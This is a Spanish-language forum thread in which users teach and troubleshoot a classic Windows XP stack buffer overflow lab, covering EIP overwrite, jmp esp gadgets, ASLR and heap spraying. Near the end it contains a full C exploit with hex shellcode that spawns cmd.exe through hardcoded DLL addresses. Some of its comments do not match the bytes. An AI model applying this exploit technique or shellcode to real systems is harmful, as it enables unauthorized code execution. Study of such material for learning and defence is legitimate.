Error en Buffer Overflow

Iniciado por Lodos76, 27 Febrero 2014, 17:43 PM

0 Miembros y 1 Visitante están viendo este tema.

soez

Cita de: Lodos76 en  4 Marzo 2014, 23:22 PM
Acabo de terminar el paper de Rojodos, y me sale todo bien, pero el offset de jmp esp en kernel32.dll cambia nada más ejecuto algo, y así es imposible ejecutar system(), porque cuando ejecuto el exploit cambia el offset >:( (en msvcrt.dll no tengo ningún jmp, y antes de suspender el portátil tenía calls, y ahora tengo push esp ret, eso es posible, ¿no? xD).

Sí.

Cita de: Lodos76 en  4 Marzo 2014, 23:22 PM
Otra cosa, en el paper de Rojodos, cuando introduzco AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU => EIP=TTTT, ESP=dirección que contiene UUUU, pero ESP != UUUU
En cambio, con el código de Rojodos a EBP sí puedo ponerle que apunte a 414141 por ejemplo.
Pero ESP no apunta (sólo contiene) y si uso JMP ESP, salta a la shellcode. Me ha parecido extraño. ¿Y eso?

ESP es una dirección de la pila y lo que contiene es lo que tu le metes a través del overflow si le metes UUUU la dirección de ESP contendrá UUUU. La verdad no te entiendo bien esta pregunta a que te refieres.

Cita de: Lodos76 en  4 Marzo 2014, 23:22 PM
Por cierto, se dice que no hay que sustituir el EIP por una dirección de memoria, ya que cambia muy a menudo la pila.
Vale, eso lo entendería, pero si los Arguments que pongo antes del EIP son carácteres y siempre van a ser los que ponga en la pila... ¿por qué la dirección que ponga como EIP, que al fin y al cabo introduzco 4 bytes igualmente, cambia a la que yo puse?

Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)

Cita de: Lodos76 en  4 Marzo 2014, 23:22 PM
Me da la sensación que según qué compilador, qué protección de software, la ruta que habrá usado un servidor, cambia el exploit, y aunque esté claro el PoC, hacer un exploit funcional en un sistema remoto puede no funcionar aunque sepas mucho...

No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.

Cita de: Lodos76 en  4 Marzo 2014, 23:22 PM
Y qué decir... ¡Muchísimas gracias! Voy a seguir investigando en estos temas que son muy interesantes :).

De nada tiuuu!! Dale duro si que lo son ;)
01001010 01100001 01110110 01101001 01100101 01110010

Lodos76

#31
Sí.
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...

Lo que metes en la pila por el overflow no cambia, lo que cambia es el address del jmp esp en la dll en cada service pack (actualizaciones) o cada vez que inicia windows (Aunque en XP no viene implementado, lo verás cuando te toque bypassear ASLR)
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.

No creo que hagas un exploit para atacar a ciegas, si no testeando en el software vulnerable antes, que ya ha sido compilado y se ejecutará con las mismas protecciones en todos los SO familia windows por ejemplo (No sé si me explico). Por lo tanto si será efectivo.
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.

¿Qué me dices de la imagen?
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?

Salu2

soez

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
¿No se supone que se busca un JMP ESP en una DLL? Las DLLs no cambian su código :S...

Me refiero a que un push esp ret es también válido.

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
Imagina que hago un findjmp.exe kernel32.dll esp
Y me da una dirección, y con esa dirección hago un exploit y EIP tendría que apuntar a esa dirección, pero EIP resulta que apunta a otra.

Tienes que cuidar que el ret en la pila sea esa dirección.

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
Pero pueden tener programas antiexploits y tú no tienes forma de saber cuáles son, o un firewall, y hay muchos firewalls. Yo mismo tengo más de 1 firewall activo.

Programas antiexploits, pueden haber si, tendrás que atacar por otro lado si se diese el caso :/ los firewall son otro tipo de protecciones que también te impedirian pero si por ejemplo tu explotas un navegador haces una conexion inversa y depende de como este configurado el firewall dejará pasar la conexión.  

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
¿Qué me dices de la imagen?

No sé que contestarte, pero todo apunta a un final de cadena..

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
¿Se puede evitar que pete un programa por haber ejecutado un exploit?
Básicamente... Lo que haces con los JMP registro es saltar al stack (la RAM) y ejecutar ese código, ¿no?

Se podria evitar si, un ejemplo http://vimeo.com/25200425 y si, salta al espacio del stack y se ejecuta el código.

Cita de: Lodos76 en  5 Marzo 2014, 02:26 AM
El código ensamblador está en el disco duro y el .data en la RAM, ¿no?

El programa entero está cargado en la RAM de una manera virtual y en el disco duro estará en modo fisico (para que me entiendas pero se dice al revés)

01001010 01100001 01110110 01101001 01100101 01110010

.:UND3R:.

#33
Creo que te estás enredando y confundiendo tu mismo, debes ir paso a paso y estas haciendo preguntas que con tu nivel de conocimiento, tanto una respuesta bien detallada te llevara a confundirte más y generará más preguntas, un círculo vicioso recursivo.

Yo no soy partidiario de que las cosas son así por que sí, pero intenta de buscar otro plan estratégico estás mirando desde abajo hacia arriba y te está cayendo mucho conocimiento desde el cielo, el cual no es necesario en este momento y solo te llevará a sentirte una hormiga que no sabe absolutamente nada.




Debes entender lo siguiente, un desbordamiento de pila consiste en modificar el flujo normal de un programa a través de un código mal formado (para el programa) capas de modificar el Instruction Counter/Program Counter en Intel este valor lo posee un registro que se llama EIP. Para modificar EIP debes hacer que el programa recupere el valor de una CALL, ya que como te comenté cuando se llama a una CALL se debe dejar en la pila la dirección de retorno, o si no el programa nunca sabrá donde retornar una vez ejecutada las instrucciones de la call.


Citarinstruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a continuar.

Buffer Overflow

Citarinstruciones
...
..
..
Call Sumar
continuar.
..
..
..

Sumar:
guardaré los datos proporcionados para no perderme
aquí se suma
ahora debo volver
recuperaré los datos proporcionados para devolverme
a debo ir a "AAAAAAAA".

Es una metáfora y debes tenerlo así mentalizado, no es el momento que aprendas los alineamientos, los marco de pilas, como se reserva espacio en el stack para trabajar con variables locales, etc. NO!

Una vez que lograste modificar el PC, requieres redireccionar el programa hacia tu payload o código de carga que se encargará de hacer lo que tu desees, ¿en donde está?, en la pila, para ello debes utilizar instrucciones que se encarguen de direccionar el flujo hacia la pila, y aquí no es siempre JMP ESP, tal como comenta soez la limitación del salto hacia el stack es TU IMAGINACIÓN, no debes seguir al pie de la letra el tutorial, si no entiendes mucho está bien pero hay variables, partiendo por las direcciones de los SO Windows, por ello el tutorial es una referencia a como actuar.

JMP ESP
POP r32 / RETN
MOV ESP,r32 (r32 valor controlable y generado de forma dinámica)



Un poco de instrucciones. En Windows las direcciones de memoria varían de acuerdo a la versión del sistema operativo, esto provoca que si tomas una dirección de una API/función, lo más probable es que esta no esté. Aquí viene lo que se denomina instrucciones seguras o confiables y las no confiables.

Si ignoramos todo mecanismo de protección, te recomiendo que utilices direcciones del programa, pero ¿cómo lo harás?, sencillo buscas las dll que hayan sido cargadas por el programa, inclusive el mismo programa podría ser utilizado, aunque no es muy recomendable a causa de que generalmente el ImageBase (dirección base de las dirección) contiene bytes nulos 0040xxxx por lo cual si estás explotando un buffer de string, estos se terminan con byte nulos, podría utilizarse si fuese el último parámetro en desbordar. Ahora estas direcciones no cambiarán ya que son direcciones del programa la única manera que cambie es que haya una actualización de esta de forma extrema, es decir cambiar casi todos sus módulos, etc, cosa que para ello deberías crear un nuevo explot, ahora que sabes que dirección es confiable y que no ya puedes usar un criterio. Ahora que JMP ESP no cambia, eso no se a que te refieres, las direcciones apuntan a instrucciones o buffer de datos, si estas direcciones son confiables, siempre deberían apuntar al mismo conjunto de instrucciones o buffer, por ello usar siempre direcciones del programa.

Ahora hablemos de ASLR Address space layout randomization, esto modifica el Image Base siempre cuando el módulo lo permita si mal no me equivoco es una bandera 0x40 activada, que se activa con el compilador visual studio con un parámetro, no recuerdo exactamente, esto cada vez que se reinicie el equipo el Image Base se modificará por lo cual no podrás tener direcciones confiables, para ello como solución es trabajar con módulos sin ASLR, puedes usar plugins en el depurar que se encargan de listar las protecciones de compilación y enlace que poseen. Si todos los módulos están protegidos por ASLR, podrías basarte en la predicción del heap o montículo, esta técnica se llama heap spraying pero vez? no puedes aprender todo este en un simple post, debes leer y plantear tus dudas putuales del capítulo y toma sorbos de apoco quizás te termines quemando.

Si tienes nuevas dudas, por favor hace un nuevo tema con la pregunta específica, este post solamente tiene un surtido de dudas que dificultan al lector.

Duda nueva puntual, post nuevo puntual con la pregunta.

Yo desisto de ayudarte más si no sigues las reglas que te he planteado




a por cierto si no sabes ASM, no puedes aprender sobre exploit, sin tampoco decir que debes aprender Ingeniería inversa,ya que sin ella no podrás encontrar los fallos del programa y ataque remoto siempre se podrá si el puerto está abierto y es vulnerable, ahora el payload puede que sea detectado, esos sistemas de protección se llaman Antivirus y firewall, ahora pueden haber otros mecanismos que deben basarse en el análisis o comportamiento de un programa, pero desconozco sobre ellos.

Si deseas aprender ensamblador hice un resumen hace unos años:
http://www.mediafire.com/view/ijc4am0y48hbc4w/ASM.pdf

Saludos

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

Lodos76

#34
Está bien, tienes razón.


Sobre el exploit ya terminado del paper de Rojodos:
(vuln1.c está en el primer comentario del tema).
He cogido system() de msvcrt.dll y JMP ESP de kernel32.dll, ya que también carga esa DLL.

exploit_vuln1.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main (int argc,char **argv) {

char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"; // Para llenar el buffer y llegar al ret

/* <=== SHELLCODE ===>
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77C293C7
call ebx
*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x7B\x46\x86\x7C\xFF\xD3";
//Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada
//en  0x77C293C7 --> \xC7\x93\xC2\x77

char offset[]="\x7B\x46\x86\x7C"; // Offset jmp esp kernel32.dll WinXP SP3 En(US) --> 0x7C86467B --> \x7C\x46\x86\x7C

strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);

argv[1] = "vuln1";
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos

execv ("vuln1.exe", argv); //Ejecutamos vuln1.exe pasándole evilbuffer como argumento

return 0;
}


Pues bueno, ejecuto el exploit y me da error, le doy a "debug" para que saber qué ha pasado con mi debugger just-in-time, y veo esto:



¿Y eso?